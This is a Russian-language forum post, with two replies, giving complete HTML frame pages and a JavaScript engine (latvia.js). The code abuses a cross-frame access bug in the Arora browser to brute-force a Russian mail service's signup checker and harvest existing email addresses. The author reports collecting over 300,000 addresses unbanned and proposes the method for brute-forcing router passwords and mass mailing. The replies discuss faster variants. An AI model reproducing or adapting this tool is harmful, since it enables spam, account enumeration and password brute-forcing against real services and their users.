Мой метод не претендует на рациональность, оптимальность, сверхбыстродействие итд, зато имеет в некотором роде универсальность. Этим способом можно перебирать все, что имеет веб-интерфейс и не имеет капчи. Способ заключаеться в следующем: создаеться примитивная html-страничка, с указанными в ней фреймами (2 и более). Фреймы ссылаються на страницу сайта, которого будем брутить и еще одну нашу страничку, содержащую javascript собственно самого переборщика. Принцип действия: страница, с javascript'ом, а точнее сам javascript будет подставлять в форму выбранного нами сайта данные для перебора. Для реализации всего выше указанного, нам необходимо немного соображать в javascript'е, html'е и самое сложное - найти и установить браузер с багом, который позволяет скрипту из одного фрейма обращаться к данным и объектам другого фрейма, где разнофреймовые страницы - ресурсы разных узлов. Перепробывал следующие браузеры, и ни один из них не удовлетворяет нашим требованиям: Windows: IE v 4-8, FFox 3/3.5, Opera 10, Google Chrome 3, Seamonkey 2.0b2 Linux: FF 3.5, Opera 10, Epiphany 2.26.3. Однако, не смотря на неудачи, я все-таки нашел браузер с такой ошибкой, это оказался Arora 0.9.0 под Linux (RH). Скачать его можно здесь Не знаю существует ли он под Windows и есть ли в нем этот баг. Я решил набрать базу сайта /\/\аi|.ру, используя его следующее свойство: на странице регистрации, при вводе желаемого логина он сам автоматом говорит занят логин или нет. Ваша цель может быть любой, от перебора паролей к роутерам, до рассылки писем. !!!в ссылках необходимо заменить /\/\аi|.ру, а так же имена почтовых доменов и поменять слэши После того как установили браузер, необходимо написать сами страницы. Первая, главная страница с разметкой на фреймы: Code: <html> <head> <title>/\/\аi|.ру checker all domains</title> </head> <frameset rows=25%,75%> <frame name='up' src='2.html'> <frame name='mid' src='http:\\win./\/\аi|.ру\cgi-bin\signup' > </frameset> </html> Вторая страница 2.html, так называемый интерфейс брутфорса (вопреки вышеуказанному, явакод будет размещен в отдельном файле, а не в файле страницы): Code: <script type="text/javascript" src="latvia.js"></script> <html> <body > <form name='cmd' > <table style=text-allign:center;font-size:70%;vertical-align:middle; > <td>addresses:<br><textarea name='alladress' readOnly='true' cols=20 rows=10></textarea> </td> <td>full number<br> <textarea name='nomer' cols=13 rows=1>0</textarea><br> <textarea name='fakt_no' readOnly='true' cols=3 rows=1>0</textarea>^<textarea name='quantity' cols=5 rows=1>1500</textarea><br> exist address count<br> <textarea name='ex_count' readOnly='true' cols=3 rows=1>0</textarea><br> <input type='button' name='start_bt' value='start' onClick='zamena()' > <input type='button' name='update_bt' value='update' onClick='update_fr()' > </td> <td>words:<br><textarea name='words' cols=20 rows=8></textarea><br> dictionary/successively(0/1)<br> <textarea name='dicsuc' cols=13 rows=1>0</textarea> </td> </table> </form> </body> </html> А теперь сам движок брутфорса, файл с явакодом(latvia.js): Code: var i=0; var osnwait=1000; var loawait=500; var load_attemp=0; var max_att=500; var ex_count=0; var flag=0; var dom = new Array(); dom[0]='@/\/\аi|.ру'; dom[1]='@ЬК.ru'; dom[2]='@inЬ0х.ru'; dom[3]='@|i$t.ru'; var n_dom=0; function next(dig,variant) //возвращает следующее слово {if (variant==0){ word_ar=parent.up.document.cmd.words.value.split('\n'); return word_ar[dig];} else{ return dig.toString(36);} } function oknext() //заменяет домен на следующий (инб0кс/мaил/лиcT/Ьк) { if (flag==1){ if (parent.mid.document.uinfo.RegistrationDomain.selectedIndex<3) {parent.mid.document.uinfo.RegistrationDomain.selectedIndex++; }else{ parent.mid.document.uinfo.RegistrationDomain.selectedIndex=0; parent.up.document.cmd.nomer.value=parseInt(parent.up.document.cmd.nomer.value)+1; i++; parent.up.document.cmd.fakt_no.value=i; }} n_dom=parent.mid.document.uinfo.RegistrationDomain.selectedIndex; if (flag==0){ parent.mid.document.getElementById('userNameInput').value='^!@#$%&*'; setTimeout("zamena()",loawait); flag=1; } else {parent.mid.document.getElementById('userNameInput').value=next(parseInt(parent.up.document.cmd.nomer.value),parseInt(parent.up.document.cmd.dicsuc.value)); load_attemp=0; if(i<=parseInt(parent.up.document.cmd.quantity.value))setTimeout("zamena()",osnwait); flag=0; } } function update_fr() //обновляет страницу с формой {parent.mid.location="http://win./\/\аi|.ру\cgi-bin\signup"; load_attemp=0; } function zamena() //проверяет результаты выданные сайтом { //Еще проверяет if(parent.mid.document.getElementById("checkUser").innerHTML.length==43){ setTimeout("zamena()",loawait); load_attemp++; if(load_attemp>max_att) { update_fr(); setTimeout("zamena()",osnwait*25); } } //Сессия устарела if(parent.mid.document.getElementById("checkUser").innerHTML.length==67){ update_fr(); setTimeout("zamena()",osnwait*25);} //Мыло существует if(parent.mid.document.getElementById("checkUser").innerHTML.length==143){ //alert("exist"); parent.up.document.cmd.alladress.value=parent.up.document.cmd.alladress.value+parent.mid.document.getElementById('userNameInput').value+dom[n_dom]+'\n'; ex_count++; parent.up.document.cmd.ex_count.value=ex_count; oknext(); } //Логин свободен т.е. мыло не существует if(parent.mid.document.getElementById("checkUser").innerHTML.length==56)oknext(); if(parent.mid.document.getElementById("checkUser").innerHTML.length!=56 && parent.mid.document.getElementById("checkUser").innerHTML.length!=43 && parent.mid.document.getElementById("checkUser").innerHTML.length!=143 && parent.mid.document.getElementById("checkUser").innerHTML.length!=67)oknext(); } Вопросы по коду: ?:зачем между сменами доменов вставлять ^!@#$%&* ? 0: иначе страница не видит что потенциальный логин был изменен, точнее его домен ?:как реализована задержка между вводами ? 0:посредством функции setTimeout() т.к. в яваскрипте нет функции а-ля sleep() ?:по какому принципу скрипт определяет что выдает сайт (Идет проверка/ ящик свободен итд) 0:чтобы не заморачиваться с кодировками он проверяет по длине строки т.е. например для строки 'идет проверка' длина = 43 Остальное непонятное станет ясно дальше. Запуск и настройка: Открываем в браузере первую страницу и видим примерно следующее: Пару слов перед настройкой: этот переборщик может работать в двух режимах: пересчет всего подрят или перебор по словарю, но так как javascript не может читать из локального файла в качестве словаря выступает поле 'words'. Поле 'addresses' - здесь будут содержаться существующие адреса т.е. наши успешные попытки Поле 'full number' - в случае если мы перебираем все возможные комбинации, сюда вбиваем порядковый номер комбинации символов, если по словарю, то номер слова в словаре. Поле ниже 'full number'- первое служит для отображения текущего номера слова/комбинации символов, а во втором задаеться количество слов/комбинаций которые будем перебирать Поле 'exist address count' - здесь отображаеться количество набранных адресов Поле 'dictionary/successively(0/1)' - выбор варианта перебора 0 - по словарю, 1 - все подряд Поле 'words' - наш словарь Кнопка 'start' - запускает перебор Кнопка 'update' - обновляет фрейм сайта (использовать только в экстренных ситуациях т.к. скрипт сам обновляет страницу когда надо ) Настройка на перебор всего подряд начинаем с 1000000 комбинации (full number = 0) перебор всех комбинаций (dictionary/successively(0/1)=1) количество = 5000 Настройка на перебор по словарю начинаем со второго слова в словаре(отсчет идет с нуля) (full number=2) перебор по словарю (dictionary/successively(0/1)=0) количество = 10000 Итоги: Я запускал эту страницу в 10, а иногда в 12-ти вкладках и за 3 дня перебрал несколько миллионов слов, в результате чего набрал базу в чуть больше 300 000 адресов и не разу не был никем забанен. Важно: скрипт не устойчив к отключению интернета т.е. браузер будет сильно лагать вплоть до зависания если инета не будет больше 5-10 минут и вернуть оттуда набрученное будет очень тяжело, хотя мне удавалось. Так же не рекомендую кидать в словарь слишком много слов, 10-15 тысяч на вкладку вполне достаточно, и не надо открывать много вкладок - сайт не будет выдавать быстрее инфу, чем его канал позволяет, а нагрузить память браузера можно достаточно серьезно, для стабильной работы необходимо не больше 15 вкладок . рабочая версия на 17.06 описана здесь: http://blog.lukmus.ru/?p=19
Я не сильно вникал и может ошибаюсь, но всё же: непонятно, зачем этот баг с доступом к свойствам другого фрейма? Ведь можно делать форму на главной странице, указывая в ней target="frame1", где frame1 - это атрибут name фрейма, куда будет отправляться запрос. Тогда способ будет универсален.
вся эта тема задумалась, для того чтобы не разбирать ajax'овый код сайта, которым он посылает запрос на существование мыла, а если делать как ты сказал, то как раз придеться разбираться в этом запросе. И к тому же если и удасться разобраться как они запрашивают(какой пакет формирует браузер), то легче сделать какую-нить прогу на C, которая будет слать гораздо быстрее браузера.